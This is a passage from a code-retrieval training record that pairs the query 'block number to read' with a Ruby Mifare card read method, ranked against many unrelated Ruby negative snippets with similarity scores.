else\n @address = Address.find(params[:id])\n @address.update_attributes(value )\n end\n @posting.update(address_id: @address.id)\n end", "def create\n @store = Store.new(store_params)\n @store.city = City.find(params.fetch(:city_id).to_i)\n\n if @store.save\n render :show, status: :created\n else\n @message = @store.errors\n render :error, status: :unprocessable_entity\n end\n end", "def create\n @restaurant = Restaurant.new(params[:restaurant])\n @restaurant.owner_id = current_owner.id\n\n respond_to do |format|\n if @restaurant.save\n format.html { redirect_to @restaurant, notice: 'Restaurant was successfully created.' }\n format.json { render json: @restaurant, status: :created, location: @restaurant }\n else\n format.html { render action: \"new\" }\n format.json { render json: @restaurant.errors, status: :unprocessable_entity }\n end\n end\n end", "def save(attrs)\n if attrs[:id].present?\n data = @resource.update(attrs, @customer_id)\n else\n attrs.delete(:id) \n if resource_name == :customers\n data = @resource.create(attrs)\n else\n data = @resource.create(attrs, @customer_id)\n end\n end\n\n data.merge({\"open_pay_id\" => data[\"id\"]})\n end", "def set_customer\n @customer = Customer.friendly.find(params[:id])\n end", "def customer_params\n params.require(:customer).permit(:customer_name, :customer_street, :customer_town, :customer_phone, :customer_fax, :customer_email, :customer_notes, :customer_surname, :customer_mobile, :customer_club, :customer_newsletter, :supplier_id, :customer_group)\n end" ]
[ "0.72106224", "0.6933484", "0.67468226", "0.67303324", "0.66912013", "0.66912013", "0.66850024", "0.65953964", "0.6578872", "0.65488636", "0.65455645", "0.6511381", "0.64895934", "0.64895934", "0.64727545", "0.64619887", "0.64408493", "0.64266", "0.64071155", "0.6404924", "0.6395065", "0.6393477", "0.63933665", "0.63694656", "0.63685423", "0.6364575", "0.63606364", "0.6331451", "0.632787", "0.63264155", "0.6325898", "0.6319752", "0.6310054", "0.6309492", "0.63026875", "0.6293418", "0.6291919", "0.6285144", "0.62829906", "0.6276315", "0.6275624", "0.62710875", "0.6265803", "0.62651336", "0.62649965", "0.62649137", "0.6258234", "0.62535775", "0.6252368", "0.62482285", "0.6244153", "0.62159586", "0.62159246", "0.62151897", "0.6214005", "0.62088513", "0.6208158", "0.62067485", "0.620649", "0.62056005", "0.6204043", "0.6202184", "0.62012273", "0.61985564", "0.6185972", "0.6184094", "0.6184072", "0.6180934", "0.6179844", "0.61764705", "0.617634", "0.61731756", "0.6171869", "0.61689204", "0.6166577", "0.61641705", "0.61641705", "0.61641705", "0.61641705", "0.61641705", "0.6157153", "0.6155243", "0.61537194", "0.61498284", "0.6149751", "0.61490375", "0.6148456", "0.61480457", "0.61477816", "0.61420953", "0.6141191", "0.61403406", "0.61361015", "0.61359227", "0.6135467", "0.61339", "0.6133506", "0.613125", "0.612953", "0.6123709", "0.61232054" ]
0.0
-1
keytype can be :key_a or :key_b key hexadecimal string key representation like "FFFFFFFFFFFF"
def auth(block_num, key_type, key) raise Mifare::Error, "Wrong key type" unless [:key_a, :key_b].include? key_type raise Mifare::Error, "Wrong key length" unless [6, 12].include? key.size key_ptr = FFI::MemoryPointer.new(:uchar, 6) key_ptr.put_bytes(0, 6 == key.size ? key : [key].pack("H*")) res = Mifare.mifare_classic_authenticate(@pointer, block_num, key_ptr, key_type) raise Mifare::Error, "Can't autenticate to block 0x%02x" % block_num if 0 != res @auth_block = block_num end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def key_types; end", "def key_types; end", "def key_types=(_arg0); end", "def key_type\r\n\t\treturn \" \" if repeat?(:SPACE)\r\n\t\tfor key in LETTERS\r\n\t\t\tnext unless repeat?(key)\r\n\t\t\treturn upcase? ? key.to_s[3].upcase : key.to_s[3].downcase\r\n\t\tend\r\n\t\tfor key in NUMBERS\r\n\t\t\treturn key.to_s[3] if repeat?(key)\r\n\t\tend\r\n\t\tfor key in NUMPADS\r\n\t\t\treturn key.to_s[3] if repeat?(key)\r\n\t\tend\r\n\t\t\r\n\t\treturn \"\"\r\n\tend", "def key_type(type)\n # Specify valid types of key.\n valid_types = [:major, :minor]\n if valid_types.include?(type)\n # If the type is valid we must also check for consistency with the tonic note.\n if type == :minor && (@metadata[:key_note] == :cb || @metadata[:key_note] == :gb || @metadata[:key_note] == :db)\n # Cb, Gb, Db minors are NOT valid.\n raise \"Key note #{ @metadata[:key_note] } not valid for a #{ type } key.\"\n elsif type == :major && (@metadata[:key_note] == :gs || @metadata[:key_note] == :ds || @metadata[:key_note] == :as)\n # Gs, Ds, As majors are NOT valid.\n raise \"Key note #{ @metadata[:key_note] } not valid for a #{ type } key.\"\n else\n # Key is valid if no key note is specified, or it does not fall into one of the above cases.\n @metadata[:key_type] = type\n end\n else\n raise \"The type of key: #{ type } is not supported.\"\n end\n return self\n end", "def type(key); end", "def type(key); end", "def assert_keytype(keytype)\n return if allowed_keytypes.include?(keytype)\n raise Chef::Exceptions::ValidationFailed,\n 'ssh_authorize_key: keytype parameter must be equal to one of: '\\\n \"#{allowed_keytypes.join(', ')}! You passed #{keytype.inspect}.\"\n end", "def read_keyblob(type); end", "def key_type\n v = version\n case v\n when Bitcoin.chain_params.bip49_pubkey_p2wpkh_p2sh_version\n Bitcoin::Key::TYPES[:p2wpkh_p2sh]\n when Bitcoin.chain_params.bip84_pubkey_p2wpkh_version\n Bitcoin::Key::TYPES[:p2wpkh]\n when Bitcoin.chain_params.extended_pubkey_version\n Bitcoin::Key::TYPES[:compressed]\n end\n end", "def key type\n make_key get_class(type)\n end", "def key_type\n v = version\n case v\n when Bitcoin.chain_params.bip49_privkey_p2wpkh_p2sh_version\n Bitcoin::Key::TYPES[:p2wpkh_p2sh]\n when Bitcoin.chain_params.bip84_privkey_p2wpkh_version\n Bitcoin::Key::TYPES[:p2wpkh]\n when Bitcoin.chain_params.extended_privkey_version\n Bitcoin::Key::TYPES[:compressed]\n end\n end", "def ssl_key_type=(key_type)\n raise \"Invalid ssl key type : '#{key_type}'...\" if key_type and !%w(PEM DER ENG).include?(key_type)\n set_option(:sslkeytype, key_type)\n end", "def make_key(type, name)\n \"%#{type}%#{name}\"\n end", "def key(length=256,format=:plain)\n key = ::AES::AES.new(\"\").random_key(length)\n case format\n when :base_64\n Base64.encode64(key).chomp\n else\n key\n end\n end", "def key_for(key)\n key.is_a?(String) ? key : serialize(key)\n end", "def key_for(key)\n key.is_a?(String) ? key : serialize(key)\n end", "def key_of_type?(hash, key, type)\n return false unless hash.length == 1\n\n hash.key?(key) && hash[key].is_a?(type)\n end", "def key_type_option\n if !config[:use_secret_key]\n '--list-key'\n else\n '--list-secret-key'\n end\n end", "def create_key_a\n @key_chars[0..1].join.to_i\n end", "def type_key(key)\n focus\n @driver.sc_type_key action_target, key, *action_locator_args\n stall :type_key\n end", "def ssl_key_type=(key_type)\n raise \"Invalid ssl key type : '#{key_type}'...\" if key_type and !%w(PEM DER ENG).include?(key_type)\n set_option(OPTION_VALUES[:CURLOPT_SSLKEYTYPE], key_type)\n end", "def key_type\n return nil if key.nil?\n sym_key = key.to_sym\n if Concerto::Application.config.respond_to?(:field_configs) and Concerto::Application.config.field_configs.include?(sym_key)\n return Concerto::Application.config.field_configs[sym_key][:type]\n end\n return nil\n end", "def convert_key(key); end", "def convert_key(key); end", "def convert_key(key); end", "def key_for_string str\n Digest::MD5.hexdigest(str).to_i(16) & KEY_MAX\n end", "def current_key_prefix(search_type)\n Base64.urlsafe_encode64(\"#{search_type.chr}\\0#{@key_id.chr}\")\n end", "def alternate_key(key)\n case key\n when String then key.to_sym\n when Symbol then key.to_s\n end\n end", "def key_coercion(key); end", "def choose_key_type\n if !config[:use_secret_key]\n 'pub'\n else\n 'sec'\n end\n end", "def sslkeytype=(value)\n Curl.set_option(:sslkeytype, value_for(value, :string), handle)\n end", "def validate_key_bytes(key_bytes); end", "def type(key)\n send_command([:type, key])\n end", "def request_key(cntrl)\n check_hash = 0\n cntrl.each_byte do |b|\n check_hash += b\n pp check_hash\n end\n check_hash *= REQUEST_KEY_MAGIC\n pp check_hash\n check_hash %= 65536\n check_hash\n end", "def key\n \"#{@@PREFIX}#{@type}-#{@version.gsub(\".\",\"-\")}\"\n end", "def handle_key(key); end", "def key_data; end", "def key_data; end", "def from_simple_key(key)\n key\n end", "def rowkey type = :string\n Util.from_bytes type, @result.getRow\n end", "def transform_keys(type)\n @_transform_keys = type.to_sym\n end", "def type(key)\n call(key, [:type, key], read: true)\n end", "def type_key\n type.demodulize.underscore\n end", "def app_config_key_type=(value)\n @app_config_key_type = value\n end", "def key_coercions; end", "def get_key_type()\n if @metadata[:key_type] == nil\n # Choose a compatible type for the note already chosen (if there is one).\n if @metadata[:key_note] == :cb || @metadata[:key_note] == :gb || @metadata[:key_note] == :db\n self.key_type(:major)\n elsif @metadata[:key_note] == :gs || @metadata[:key_note] == :ds || @metadata[:key_note] == :as\n self.key_type(:minor)\n else\n # No constraint- choose any. (Both are valid for this key note).\n self.key_type([:major, :minor].choose)\n end\n end\n return @metadata[:key_type]\n end", "def initialize(key_type, value_type)\n super(value_type)\n @key_type = check_arg_type(key_type, 'key_type')\n end", "def key_maker(hash, key, value)\n case\n when value.include?(\"true\")\n value = true\n when value.include?(\"false\")\n value = false\n when value.to_i > 0 && value.length < 4\n value = value.to_i\n when value == \"0\"\n value = value.to_i\n else\n value\n end\n hash.store(key.to_sym, value)\nend", "def key\n \"#{@type}{#{@title}}]\"\n end", "def keypair; end", "def keypair; end", "def keypair; end", "def keypair; end", "def keypair; end", "def is_elkey?(); @type == GRT_ELKEY; end", "def literal_key(key)\n case key\n when TrueClass then \"'t'\"\n when FalseClass then \"'f'\"\n when Numeric then key\n else\n key = key.to_s\n key.start_with?(\"'\") && key.end_with?(\"'\") ? key : \"'#{key}'\"\n end\n end", "def to_simple_key(key)\n key\n end", "def get_key\n @key = Base64.decode64('MzRlZTc5ODMtNWVlNi00MTQ3LWFhODYtNDQzZWEwNjJhYmY3NzQ0OTNkNmEtMmExNS00M2ZlLWFhY2UtZTc4NTY2OTI3NTg1Cg==')\n end", "def is_key_entry(aliaz)\n\n end", "def parse_key(string)\n @key_factory.parse(string)\n end", "def gen_keys(str)\n split7(str).map{ |str7|\n bits = split7(str7.unpack(\"B*\")[0]).inject('')\\\n {|ret, tkn| ret += tkn + (tkn.gsub('1', '').size % 2).to_s }\n [bits].pack(\"B*\")\n }\n end", "def get_credit_key(type, name)\n generate_store_key(\"#{type}-c:#{name}\")\n end", "def flexible_key; end", "def key_field\n 'key'\n end", "def type_keys locator, value\r\n command 'typeKeys', locator, value\r\n end", "def get_anchor_list_key_by_type(type)\n ANCHOR_LIST_KEYS.find { |_key, value| value == ANCHOR_TYPES[type] }.first\n end", "def key(*args)\n key = super \n if converter_name = key.options[:as_string]\n key_name = key.name.to_sym \n available_as_string key_name, converter_name\n attr_protected \"#{key_name}_as_string\".to_sym if key.options[:protected] \n end\n key\n end", "def to_bytes; @key; end", "def to_bytes; @key; end", "def coerce_key(*attrs); end", "def type(key)\n method_missing(:type, key)\n end", "def add_key(key_string, key_type=nil, comment=nil, login=nil )\n #@container.logger.info \"Adding new key #{key_string} #{key_type} #{comment} #{login}\"\n comment = \"\" unless comment\n\n modify do |keys|\n keys[key_id(comment)] = key_entry(key_string, key_type, comment, login)\n end\n\n end", "def parse_key(key)\n end", "def create_url_key(str, url_key_field, klass)\n str = UrlKey.escape(str)\n str = rand(30000).to_s(36) if str.length < 1\n key = str\n counter = 1\n until klass.find(:all, :conditions => [\"#{url_key_field} = ?\", key]).empty?\n key = \"#{str}-#{counter}\"\n counter += 1\n end\n\n key\n end", "def write_key(*key); end", "def make_key t\n (sig_key(t) + sum_key(t))[0..MAX_KEY_SIZE].sub(/\\0+\\z/, \"\")\n end", "def create_tps_hash(data, hash_type)\n return \"SECRET KEY NOT PROVIDED\" if !defined? @SECRET_KEY\n case hash_type \n when 'HMAC_SHA256'\n OpenSSL::HMAC.hexdigest('sha256', @SECRET_KEY, data)\n when 'SHA512'\n Digest::SHA512.hexdigest(@SECRET_KEY + data)\n when 'SHA256'\n Digest::SHA256.hexdigest(@SECRET_KEY + data)\n when 'MD5'\n Digest::MD5.hexdigest(@SECRET_KEY + data)\n else\n OpenSSL::HMAC.hexdigest('sha512', @SECRET_KEY, data)\n end\n end", "def javaize_key(key)\n key = key.to_s\n case key\n when 'acquirer_transaction_request'\n 'AcquirerTrxReq'\n when 'acquirer_status_request'\n 'AcquirerStatusReq'\n when 'directory_request'\n 'DirectoryReq'\n when 'issuer', 'merchant', 'transaction'\n key.capitalize\n when 'created_at'\n 'createDateTimeStamp'\n when 'merchant_return_url'\n 'merchantReturnURL'\n when 'token_code', 'expiration_period', 'entrance_code'\n key[0,1] + key.camelize[1..-1]\n when /^(\\w+)_id$/\n \"#{$1}ID\"\n else\n key\n end\n end", "def generate_keys(keys_type: @default_key_type, key_material: nil)\n key_material = Validation.check_filled_array_argument!(key_material) if key_material\n begin\n native_type = KeyPairType.convert_to_native(keys_type)\n native_key_pair = nil\n native_key_pair = if key_material\n Core::VirgilKeyPair.generate_from_key_material(\n native_type,\n key_material\n )\n else\n Core::VirgilKeyPair.generate(native_type)\n end\n key_pair_id = compute_public_key_hash(native_key_pair.public_key)\n private_key = VirgilPrivateKey.new(\n key_pair_id,\n wrap_bytes(\n Core::VirgilKeyPair.private_key_to_der(native_key_pair.private_key)\n )\n )\n public_key = VirgilPublicKey.new(\n key_pair_id,\n wrap_bytes(\n Core::VirgilKeyPair.public_key_to_der(native_key_pair.public_key)\n )\n )\n return KeyPair.new(private_key, public_key)\n rescue StandardError => error\n raise VirgilCryptoException, error.message\n end\n end", "def get_api_key_code(storage_type)\n case storage_type\n when :environment\n \"ENV['TIMBER_API_KEY']\"\n when :inline\n \"'#{api.api_key}'\"\n else\n raise ArgumentError.new(\"API key storage type not recognized! \" \\\n \"#{storage_type.inspect}\")\n end\n end", "def set_pair_type\n @type = 'class' if @key == '*c' || @key == '*class'\n if @key == '*C' || @key == '*CLASS'\n @type = 'class'\n @key = @key.downcase\n end\n @type = 'id' if @key == '*i' || @key == '*id'\n @type = 'name' if @key == '*n' || @key == '*name'\n @type = 'name' if @key == '*N' || @key == '*NAME'\n @type = 'superclass' if @key == '*S' || @key == '*SUPERCLASS'\n @type = 'superclass' if @key == '*s' || @key == '*superclass'\n @type = 'keylist' if @key == '*a' || @key == '*assign'\n @type = 'version' if @key == '*V' || @key == '*VERSION'\n @type = 'method' if @key == '*m' || @key == '*method'\n @type = 'transform' if @key == '*t' || @key == '*transform'\n if @key == '*L' || @key == '*LOAD'\n @key = @key.downcase\n @type = 'import'\n if @array\n @global.freeze_max_files(@array.abstractArrayItems.length)\n elsif @valueItem&.value&.array\n @global.freeze_max_files(@valueItem&.value&.array.abstractArrayItems.length)\n elsif @valueItem&.value&.nbArray\n @global.freeze_max_files(@valueItem&.value&.nbArray.arrayItems.length)\n else\n @global.freeze_max_files(1)\n end\n end\n if @key == '*l' || @key == '*load'\n @type = 'import'\n end\n @type = 'index' if @key == '?'\n @type = 'hidden' if @key.start_with? '_'\n @type = 'allow' if @key.downcase == '*allow'\n end", "def app_config_key_type\n return @app_config_key_type\n end", "def get_key_info(component_type, component_index)\n get_key_info?(component_type, component_index) || fail(\"Unexpected that key info not found for '#{component_type}-#{component_index}'\")\n end", "def type(key)\n call_command(['type', key])\n end", "def get_data_type key\n\t\tdata_type = Hash.new \n\t\tdata_type[\"int\"] = \"INTEGER\"\n\t\tdata_type[\"mobile\"] = \"BIGINT(20)\"\n\t\tdata_type[\"string\"] = \"VARCHAR(50)\"\n\t\tdata_type[\"float\"] = \"INTEGER(20,5)\" \n\t\tdata_type[\"integer\"] = \"INTEGER\" \n\t\tdata_type[\"text\"] = \"TEXT\" \n\t\tdata_type[\"date\"] = \"DATE\" \n\t\t \n\t\ttdata = data_type[key]\n\tend", "def key_entry(key_string, key_type, comment, login)\n shell = @container.container_plugin.gear_shell || \"/bin/bash\"\n prefix = login ? \"OPENSHIFT_LOGIN=#{Shellwords.escape login} \" : \"\"\n command = \"command=\\\"#{prefix}#{shell}\\\",no-X11-forwarding\"\n [command, key_type, key_string, key_id(comment)].join(' ')\n end", "def str_hash(key)\n key.bytes.inject(&:+)\n end", "def valid_key?(key)\n return false unless key.is_a?(String)\n return false unless key = encoded_key(key)\n key.length >= 2 && key.length <= 255 && (key !~ BAD_KEY_RE rescue false)\n end", "def add_to_buffer(value, key_type = nil)\n value = $1 if value =~ /^\"(.*)\"/\n value.gsub(/\\\\\"/, '\"')\n\n if key_type.nil?\n @buffer[@last_key_type] += value\n else\n @buffer[key_type] = value\n @last_key_type = key_type\n end\n end", "def message_digest_key_set(keyid, algtype, enctype, enc)\n current_keyid = message_digest_key_id\n if keyid == default_message_digest_key_id && current_keyid != keyid\n config_set('interface_ospf', 'message_digest_key_set',\n @interface.name, 'no', current_keyid,\n '', '', '')\n elsif keyid != default_message_digest_key_id\n fail TypeError unless enc.is_a?(String)\n fail ArgumentError unless enc.length > 0\n enctype = Encryption.symbol_to_cli(enctype)\n config_set('interface_ospf', 'message_digest_key_set',\n @interface.name, '', keyid, algtype, enctype, enc)\n end\n end", "def type(key)\n call_command(['type', key])\n end", "def polymorphic_type_param\n \"#{key}_type\".to_sym\n end", "def key_feature_type\n\t\t KeyFeatureType.find_by_id(self.key_feature_type_id).try(:feature_type_name)\n\tend", "def gen_key(string_key)\n b_key = self._hash_digest(string_key)\n return self._hash_val(b_key) { |x| x }\n end", "def valid_key?(match_data)\n match_data[:key].to_i == (97 - match_data[1..-2].join.to_i) % 97\nend", "def key_image(key)\n case key\n when A then return Atoa::A_Image\n when B then return Atoa::B_Image\n when C then return Atoa::C_Image\n when X then return Atoa::X_Image\n when Y then return Atoa::Y_Image\n when Z then return Atoa::Z_Image\n when L then return Atoa::L_Image\n when R then return Atoa::R_Image\n when UP then return Atoa::UP_Image\n when DOWN then return Atoa::DOWN_Image\n when LEFT then return Atoa::LEFT_Image\n when RIGHT then return Atoa::RIGHT_Image\n end\n end", "def classify_key(data, filename)\n if data.match(/-----BEGIN OPENSSH PRIVATE KEY-----/)\n Net::SSH::Authentication::ED25519Loader.raiseUnlessLoaded(\"OpenSSH keys only supported if ED25519 is available\")\n return OpenSSHPrivateKeyType\n elsif OpenSSL::PKey.respond_to?(:read)\n return OpenSSLPKeyType\n elsif data.match(/-----BEGIN DSA PRIVATE KEY-----/)\n return OpenSSLDSAKeyType\n elsif data.match(/-----BEGIN RSA PRIVATE KEY-----/)\n return OpenSSLRSAKeyType\n elsif data.match(/-----BEGIN EC PRIVATE KEY-----/)\n return OpenSSLECKeyType\n elsif data.match(/-----BEGIN (.+) PRIVATE KEY-----/)\n raise OpenSSL::PKey::PKeyError, \"not a supported key type '#{$1}'\"\n else\n raise OpenSSL::PKey::PKeyError, \"not a private key (#{filename})\"\n end\n end", "def key\n int = @declared_fields['key'].value(java_self)\n int < 256 ? int.chr : int\n end", "def key\n int = @declared_fields['key'].value(java_self)\n int < 256 ? int.chr : int\n end", "def pubkey_type(pubkey)\n %w(ed25519 ecdsa dss rsa dsa).filter { |kt| pubkey.split.first.include?(kt) }.first || 'rsa'\n end" ]
[ "0.7342737", "0.7342737", "0.7284891", "0.70206654", "0.70079076", "0.68625766", "0.68625766", "0.6821866", "0.68169105", "0.67694515", "0.67268634", "0.67168117", "0.6366496", "0.6348431", "0.6220874", "0.6206214", "0.6206214", "0.6148869", "0.6120079", "0.61129415", "0.60412073", "0.6022951", "0.5992243", "0.59916496", "0.59916496", "0.59916496", "0.59381926", "0.59362566", "0.5928929", "0.59198755", "0.5912941", "0.5883906", "0.5863783", "0.5850721", "0.5828125", "0.5826169", "0.5801041", "0.5795261", "0.5795261", "0.5786692", "0.57762665", "0.5771348", "0.57697266", "0.57686824", "0.5754525", "0.57498765", "0.57444346", "0.571798", "0.57001024", "0.56765103", "0.5675574", "0.5675574", "0.5675574", "0.5675574", "0.5675574", "0.5671114", "0.5662759", "0.56613874", "0.5646562", "0.56452245", "0.5638036", "0.562143", "0.561169", "0.56005555", "0.5599896", "0.55976343", "0.55951965", "0.5584063", "0.5579195", "0.5579195", "0.55764574", "0.5572304", "0.55631256", "0.55619645", "0.55558646", "0.5551842", "0.55417055", "0.5538064", "0.5537137", "0.55366546", "0.5535611", "0.5522432", "0.5518043", "0.55107623", "0.5509426", "0.550667", "0.5506366", "0.5505415", "0.54774934", "0.54684675", "0.54622185", "0.54496247", "0.5439678", "0.5430385", "0.5429548", "0.54246205", "0.542002", "0.5415765", "0.54117435", "0.5411624", "0.54113746" ]
0.0
-1
block number to read
def read(block_num = nil) block_num ||= @auth_block raise Mifare::Error, "Not authenticated" unless block_num data_ptr = FFI::MemoryPointer.new(:uchar, 16) res = Mifare.mifare_classic_read(@pointer, block_num, data_ptr) raise Mifare::Error, "Can't read block 0x%02x" % block_num if 0 != res data_ptr.get_bytes(0, 16).force_encoding("ASCII-8BIT") end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def block_number\n request('getblocknumber')\n end", "def getblocknumber\n request :getblocknumber\n end", "def getblocknumber\n coind.getblocknumber\n end", "def getblocknumber\n @api.request 'getblocknumber'\n end", "def getblockcount\n coind.getblockcount\n end", "def block_count; @data[17].to_i; end", "def block_count\n request('getblockcount')\n end", "def read(n)\n end", "def getblockcount\n request :getblockcount\n end", "def readBlock(pieceIndex, offset, length)\n id = returnAndIncrRequestId\n return id if @state == :after_stop\n @requests.push [id, :read_block, pieceIndex, offset, length]\n @requestsSemaphore.signal\n id\n end", "def getblockbycount(height)\n request :getblockbycount, height\n end", "def getblockcount\n @api.request 'getblockcount'\n end", "def getblockbycount(height)\n @api.request 'getblockbycount', height\n end", "def block_length\n 1\n end", "def block_count\n @disk.block_count - @data_start\n end", "def block_size; end", "def getblockbycount(height)\n coind.getblockbycount height\n end", "def block_length()\n #This is a stub, used for indexing\n end", "def block_length()\n #This is a stub, used for indexing\n end", "def sysread(amt=99) end", "def read_blocking(count)\n bytes = ''\n while bytes.length < count\n bytes += read_non_blocking(count).to_s\n sleep 0.001\n end\n bytes\n end", "def block_size\n\t\t25\n\tend", "def read_nonblock(maxlen=99, buf=\"buffer\") end", "def read_blocked\n end", "def get_block_count\n call_blockchain_api('getblockcount').to_i\n end", "def next_chunk_number\n\t\t\treturn -1\n\t\tend", "def tell; @next_block_pos end", "def take_block(number, & block)\n\tblock.call(number)\nend", "def read_chunk\n #puts(\"Reading #{BLOCK_SIZE} bytes from offset #{self.head}\")\n \n # Read a block relative to the head pointer offset\n self.last_chunk = File.read(buffer_file.path, BLOCK_SIZE, self.head)\n self.head += BLOCK_SIZE\n \n # If we've read to the end, loop around to the start\n if self.head >= File.size(buffer_file)\n self.head = 0\n end \n end", "def get_number_block\n\n\tblock = rand(4**4)\n\t#make sure block length is 3 chars\n\n\twhile block.to_s.length != 3\n\t\tblock = rand(4**4)\n\tend\n\n\treturn block\nend", "def take_block(number, &block)\n\tblock.call(number)\nend", "def read_file(block=0)\n Rula.log(Logger::DEBUG,\"Reading file #{filename} block #{block}\",self)\n return nil if(block >= @file_size)\n return nil if(block < 0)\n file_handle = File.open(@filename,'rb')\n file_handle.pos = block\n @previous_block_read = file_handle.pos\n data = file_handle.read(@@BLOCK_SIZE)\n @last_block_read = file_handle.pos\n Rula.log(Logger::DEBUG,\"Read #{data.length} bytes\",self)\n @file_eof = file_handle.eof\n return data\n ensure \n file_handle.close() unless file_handle.nil?\n end", "def block_size\n self[:block_size]\n end", "def read_one_nonblock\n synchronize {\n read_many_nonblock.slice!(0)\n }\n end", "def read(&block)\n @read_block = block\n end", "def discover_first_block_controlled_byte_count(&block)\n byte_count = 1\n found = false\n\n blocks = discover_first_controlled_block(&block)\n block_size = discover_block_size(&block)\n last_block = ByteArray.from_string(block.call('A'*0)).each_slice(block_size)[blocks]\n\n while not found\n check_block = ByteArray.from_string(block.call('A'*byte_count)).each_slice(block_size)[blocks]\n check_block != last_block ? byte_count += 1 : found = true\n last_block = check_block\n end\n\n byte_count - 1\nend", "def read_next_block_header\n skip(@payload_size) if @payload_size != 0\n\n return unless (header = read_block_header_raw)\n\n block = BlockHeader.parse(header)\n @payload_size = block.payload_size\n block\n end", "def max_blocks=(_arg0); end", "def take_block(number, &block)\n block.call\n end", "def block_reference_count; end", "def read\n serial_port.read_nonblock(4096)\n rescue EOFError\n end", "def open_block\n blocks(limit: 1, sort: :desc).first\n end", "def blksize() end", "def read_one_block(pos = nil, rio = nil)\n if pos\n seek(pos, rio)\n end\n each_block(false) do |block_info|\n handle_block(block_info)\n return block_info\n end\n nil\n end", "def read(maxbytes=1024)\n \"\"\"Buffered read from node, non-blocking.\n maxbytes: maximum number of bytes to return\"\"\"\n count = @readbuf.length\n if count < maxbytes\n data = File.new(@stdout.fileno(), \"r\").sysread(maxbytes - count)\n puts data\n @readbuf += data\n end \n\n if maxbytes >= @readbuf.length\n result = @readbuf\n @readbuf = ''\n else\n puts 'entered'\n result = @readbuf[0..maxbytes]\n @readbuf = @readbuf[maxbytes..@readbuf.length]\n end\n\n return result\n end", "def read_mifare_block(blk, _auth = auth_mifare_block(blk))\n buffer = PN532::DataBuffer.new\n\n resp = PN532.mifare_read_block(\n pn_struct,\n buffer,\n blk\n )\n\n check_error(resp)\n buffer[0...PN532::MIFARE_BLOCK_LENGTH]\n end", "def read(n)\n Buffer.new(slice!(0, n))\n end", "def select_blocks\n @size = params[:size]\n @level = params[:level]\n no_of_blocks\n end", "def read_ntag_block(blk)\n buffer = PN532::DataBuffer.new\n\n resp = PN532.ntag_read_block(\n pn_struct,\n buffer,\n blk\n )\n\n check_error(resp)\n\n buffer[0...PN532::NTAG2XX_BLOCK_LENGTH]\n rescue IOError => e\n raise e unless e.message =~ /ERROR_CONTEXT/\n\n raise e unless card_uid\n\n sleep 1\n read_ntag_block(blk)\n end", "def read_block_header # :nodoc:\n unless header = rio.read(BLOCK_HEADER_SIZE)\n return\n end\n\n type, index, payload_size = header.unpack('CxvV')\n if !type || !index || !payload_size\n return\n end\n\n next_block_pos = rio.tell + payload_size\n if file_size < next_block_pos\n return\n end\n\n if !BLOCK_TYPES.include?(type)\n file = if rio.respond_to?(:path) then \" in file #{rio.path}\"\n end\n Pocolog.warn \"invalid block type '#{type}' found#{file} at position #{rio.tell}, expected one of #{BLOCK_TYPES.join(\", \")}. The file is probably corrupted. The rest of the file will be ignored.\"\n return\n end\n\n @block_info.io = @rio\n @block_info.pos = @next_block_pos\n @block_info.type = type\n @block_info.index = index\n @block_info.payload_size = payload_size\n @next_block_pos = next_block_pos\n true\n end", "def read_number\n return 0 if @crl_number_file.nil?\n\n read_data(@crl_number_file).to_i\n end", "def download_block tf, peer, piece, block\n payload = \"#{piece.index}#{block.offset}#{[TorrentFile::REQUEST_LENGTH].pack(\"N*\")}\"\n request = \"#{[1 + payload.bytesize].pack(\"N\")}#{[6].pack(\"C\")}#{payload}\"\n\n peer.socket.write request\n\n puts \"Requested Piece #{piece.index_10} block #{block.index}\"\n\n loop do\n begin\n length = peer.socket.recv(4) # 4 bytes for length of message\n length = length.unpack1 \"N\"\n\n next unless length # nil\n\n # 1 byte for message id\n # length += 1 # ???\n puts \"Received length:\\t#{length.inspect}\"\n\n # keep alive\n if length == 0\n peer.socket.write [0].pack(\"N\")\n\n next\n end\n\n result = peer.socket.read_with_timeout(length, 8)\n\n message = Message.new length, result\n\n # puts message.inspect\n\n case message.name\n when 'piece'\n piece_idx = message.index\n block_idx = TorrentFile::Block.find_index(message.offset)\n\n tf.pieces[piece_idx].blocks[block_idx].receive(message.data)\n # puts block.inspect\n\n unless block.have\n block.invalidate!\n end\n\n return\n end\n rescue RuntimeError => e\n puts e.message\n block.invalidate!\n return\n end\n end\nend", "def read\n\t\t\t\t\t@stream.readpartial(BLOCK_SIZE)\n\t\t\t\trescue EOFError, IOError\n\t\t\t\t\t# I noticed that in some cases you will get EOFError, and in other cases IOError!?\n\t\t\t\t\treturn nil\n\t\t\t\tend", "def take_block(number, &block)\n block.call\nend", "def getblockhash(index)\n @api.request 'getblockhash', index\n end", "def take_block(number, &block)\n block.call(number)\nend", "def take_block(number, &block)\n block.call(number)\nend", "def take_block(number, &block)\n block.call(number)\nend", "def take_block(number, &block)\n block.call(number)\nend", "def max_blocks; end", "def blocks\n if num_blocks.positive?\n blocks_for_num_blocks\n else\n blocks_for_block_size\n end\n end", "def block_size()\n # KB MB\n 4 * 1024 * 1024\n end", "def read_bytes(count)\n result = @content.byteslice(@cursor, count)\n @cursor += count\n result\n end", "def last_block\n\t\t(self.track_count*8)-1\n\tend", "def block_size\n check_valid\n md.block_size\n end", "def blockinate(bytes)\n tmp = bytes.each_slice(4).to_a\n if tmp.last.size < 4\n n = 4 - tmp.last.size\n n.times { |n| tmp.last << 0 }\n end\n @blocks = tmp.each_slice(2).to_a\n if @blocks.last.size == 1\n @blocks.last << [0] * 4\n end\n end", "def first n\n @b.byteslice 0, n\n end", "def read_data_block_header\n DataBlockHeader.parse(\n read_payload(Format::Current::DATA_BLOCK_HEADER_SIZE)\n )\n end", "def block_num(block_num, hash_calc, block_check, line)\r\n block_val = block_num.to_i # convert to integer\r\n zero = nil\r\n error = \"Line #{line}: Invalid block number #{block_num}, should be #{line}\"\r\n # if a value such as 2a is stored, will fail here\r\n return error + \"\\nNon-numeric value detected\" if block_val.digits.size != block_num.size\r\n\r\n # handles case where if to_i returns 0 because string was a char and line is 0,\r\n # will not pass\r\n zero = block_check.verify_zero(block_num, hash_calc) if block_val.zero?\r\n return error + \"\\nNon-numeric value detected\" unless zero.nil?\r\n # if the block number is not the next number\r\n return error unless block_check.check_block_num(line, block_val)\r\n\r\n nil\r\n end", "def getc\n @bytes_to_be_read -= 1\n @io.readbyte()\n end", "def query_filetransfer_transfer_block(sock_num, size)\n query = \"QUERY_FILETRANSFER 